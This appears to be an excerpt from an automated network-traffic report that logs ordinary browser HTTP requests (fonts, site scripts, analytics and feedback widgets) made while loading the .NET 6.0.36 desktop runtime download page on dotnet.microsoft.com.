Source: global traffic	HTTP traffic detected: GET /static/fonts/space-grotesk-v12-latin-700.woff HTTP/1.1Host: dotnet.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dotnet.microsoft.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://dotnet.microsoft.com/en-us/download/dotnet/thank-you/runtime-desktop-6.0.36-windows-x64-installer?cid=getdotnetcoreAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/fonts/space-grotesk-v12-latin-700.woff2 HTTP/1.1Host: dotnet.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dotnet.microsoft.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://dotnet.microsoft.com/en-us/download/dotnet/thank-you/runtime-desktop-6.0.36-windows-x64-installer?cid=getdotnetcoreAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/fonts/open-sans-v34-latin-regular.woff HTTP/1.1Host: dotnet.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dotnet.microsoft.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://dotnet.microsoft.com/en-us/download/dotnet/thank-you/runtime-desktop-6.0.36-windows-x64-installer?cid=getdotnetcoreAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/fonts/open-sans-v34-latin-regular.woff2 HTTP/1.1Host: dotnet.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dotnet.microsoft.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://dotnet.microsoft.com/en-us/download/dotnet/thank-you/runtime-desktop-6.0.36-windows-x64-installer?cid=getdotnetcoreAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.analytics-web-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://dotnet.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/fonts/dotnetmdl2-icons-061622.woff HTTP/1.1Host: dotnet.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dotnet.microsoft.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://dotnet.microsoft.com/en-us/download/dotnet/thank-you/runtime-desktop-6.0.36-windows-x64-installer?cid=getdotnetcoreAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/fonts/dotnetmdl2-icons-061622.ttf HTTP/1.1Host: dotnet.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dotnet.microsoft.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://dotnet.microsoft.com/en-us/download/dotnet/thank-you/runtime-desktop-6.0.36-windows-x64-installer?cid=getdotnetcoreAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/js/cookie-consent.min.js?v=FHFCx1hh_QkQajxu-2Dq5V6s4Ruc2mPyLTzAOPDnJwI HTTP/1.1Host: dotnet.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://dotnet.microsoft.com/en-us/download/dotnet/thank-you/runtime-desktop-6.0.36-windows-x64-installer?cid=getdotnetcoreAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /blob-assets/images/illustrations/downloading.svg HTTP/1.1Host: dotnet.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://dotnet.microsoft.com/en-us/download/dotnet/thank-you/runtime-desktop-6.0.36-windows-x64-installer?cid=getdotnetcoreAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/js/culture-selector.min.js?v=mcD2sjpKkPOr9l_l-eyAH9oHE6yzuSTGpr7HFwC7M28 HTTP/1.1Host: dotnet.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://dotnet.microsoft.com/en-us/download/dotnet/thank-you/runtime-desktop-6.0.36-windows-x64-installer?cid=getdotnetcoreAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.analytics-web-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/fonts/open-sans-v34-latin-600.woff2 HTTP/1.1Host: dotnet.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dotnet.microsoft.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://dotnet.microsoft.com/static/css/bootstrap-custom.min.css?v=1bpqJkhBrO8vf5QShbYWqAyD97CGYCmfS57-s3YdDzwAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/js/theme-toggle.min.js?v=Hzeaewz3K2TLDzdc6ushOOcPalFLIXEQvl0TE_N65-U HTTP/1.1Host: dotnet.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://dotnet.microsoft.com/en-us/download/dotnet/thank-you/runtime-desktop-6.0.36-windows-x64-installer?cid=getdotnetcoreAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/js/general.min.js?v=F8IRjdt-e6ILrPwh-6HqZfXtNkuyXy4by_5lrJWUX_Y HTTP/1.1Host: dotnet.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://dotnet.microsoft.com/en-us/download/dotnet/thank-you/runtime-desktop-6.0.36-windows-x64-installer?cid=getdotnetcoreAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/js/cda-tracker.min.js?v=SyYaSyIMxBKYbravFr4rQISs39K6Wu_jyNMP-TEkBgE HTTP/1.1Host: dotnet.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://dotnet.microsoft.com/en-us/download/dotnet/thank-you/runtime-desktop-6.0.36-windows-x64-installer?cid=getdotnetcoreAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/js/download.min.js?v=MBjAS82T2axGINmgsrbDGSLfnkUKGbAI1qVdIMR6lw0 HTTP/1.1Host: dotnet.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://dotnet.microsoft.com/en-us/download/dotnet/thank-you/runtime-desktop-6.0.36-windows-x64-installer?cid=getdotnetcoreAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/js/cookie-consent.min.js?v=FHFCx1hh_QkQajxu-2Dq5V6s4Ruc2mPyLTzAOPDnJwI HTTP/1.1Host: dotnet.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/js/culture-selector.min.js?v=mcD2sjpKkPOr9l_l-eyAH9oHE6yzuSTGpr7HFwC7M28 HTTP/1.1Host: dotnet.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/js/footer.min.js?v=RVslb4HZMiuSbGsDzcAsIhvWLZgw2HmQR-fsPOHkfMQ HTTP/1.1Host: dotnet.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://dotnet.microsoft.com/en-us/download/dotnet/thank-you/runtime-desktop-6.0.36-windows-x64-installer?cid=getdotnetcoreAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /blob-assets/images/illustrations/downloading.svg HTTP/1.1Host: dotnet.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://dotnet.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/js/main.min.js?v=JTXjSTLeQEf2HpRn_VGoah8uOwqnbFRmJTgpqsIm-Gg HTTP/1.1Host: dotnet.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://dotnet.microsoft.com/en-us/download/dotnet/thank-you/runtime-desktop-6.0.36-windows-x64-installer?cid=getdotnetcoreAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/js/theme-toggle.min.js?v=Hzeaewz3K2TLDzdc6ushOOcPalFLIXEQvl0TE_N65-U HTTP/1.1Host: dotnet.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/js/download.min.js?v=MBjAS82T2axGINmgsrbDGSLfnkUKGbAI1qVdIMR6lw0 HTTP/1.1Host: dotnet.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/js/cda-tracker.min.js?v=SyYaSyIMxBKYbravFr4rQISs39K6Wu_jyNMP-TEkBgE HTTP/1.1Host: dotnet.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/js/footer.min.js?v=RVslb4HZMiuSbGsDzcAsIhvWLZgw2HmQR-fsPOHkfMQ HTTP/1.1Host: dotnet.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/b/ai.2.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dotnet.microsoft.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://dotnet.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/js/general.min.js?v=F8IRjdt-e6ILrPwh-6HqZfXtNkuyXy4by_5lrJWUX_Y HTTP/1.1Host: dotnet.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /71e348d38aa1.js?lv=1 HTTP/1.1Host: w.usabilla.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://dotnet.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/js/main.min.js?v=JTXjSTLeQEf2HpRn_VGoah8uOwqnbFRmJTgpqsIm-Gg HTTP/1.1Host: dotnet.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: MSCC=NR
Source: global traffic	HTTP traffic detected: GET /scripts/b/ai.2.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/production/microsoft-net-button-bd8edd6aee4a2cdd05bc7f6ed668f1d6.png HTTP/1.1Host: d6tizftlrpuof.cloudfront.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://dotnet.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /live/scripts/campaign-include/a5f669c28be1979ab5e2785121a6e10b/v2/slideout.coffee HTTP/1.1Host: d6tizftlrpuof.cloudfront.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://dotnet.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /71e348d38aa1.js?lv=1 HTTP/1.1Host: w.usabilla.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/production/microsoft-net-button-bd8edd6aee4a2cdd05bc7f6ed668f1d6.png HTTP/1.1Host: d6tizftlrpuof.cloudfront.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /a/t?m=c&b=71e348d38aa1&c=47b85342850e&e=a&cb=1732392702680 HTTP/1.1Host: w.usabilla.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://dotnet.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /live/scripts/campaign-include/a5f669c28be1979ab5e2785121a6e10b/v2/slideout.coffee HTTP/1.1Host: d6tizftlrpuof.cloudfront.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /live/i/5b05b10e10f3d3749a56ff54/c12bb78e35a84ab0c6f6932296f17644e93b092f.html?tags=right HTTP/1.1Host: d6tizftlrpuof.cloudfront.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://dotnet.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /a/t?m=c&b=71e348d38aa1&c=47b85342850e&e=a&cb=1732392702680 HTTP/1.1Host: w.usabilla.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/production/microsoft-net-net-theme-campaign-0b982e5e3bfe6b6f78ac7f3be8f28908.css HTTP/1.1Host: d6tizftlrpuof.cloudfront.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://d6tizftlrpuof.cloudfront.net/live/i/5b05b10e10f3d3749a56ff54/c12bb78e35a84ab0c6f6932296f17644e93b092f.html?tags=rightAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /vendor/1.6.5/angular.min.js HTTP/1.1Host: d6tizftlrpuof.cloudfront.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://d6tizftlrpuof.cloudfront.net/live/i/5b05b10e10f3d3749a56ff54/c12bb78e35a84ab0c6f6932296f17644e93b092f.html?tags=rightAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /live/campaign/js/24a5b93b0f.poll.js HTTP/1.1Host: d6tizftlrpuof.cloudfront.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://d6tizftlrpuof.cloudfront.net/live/i/5b05b10e10f3d3749a56ff54/c12bb78e35a84ab0c6f6932296f17644e93b092f.html?tags=rightAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
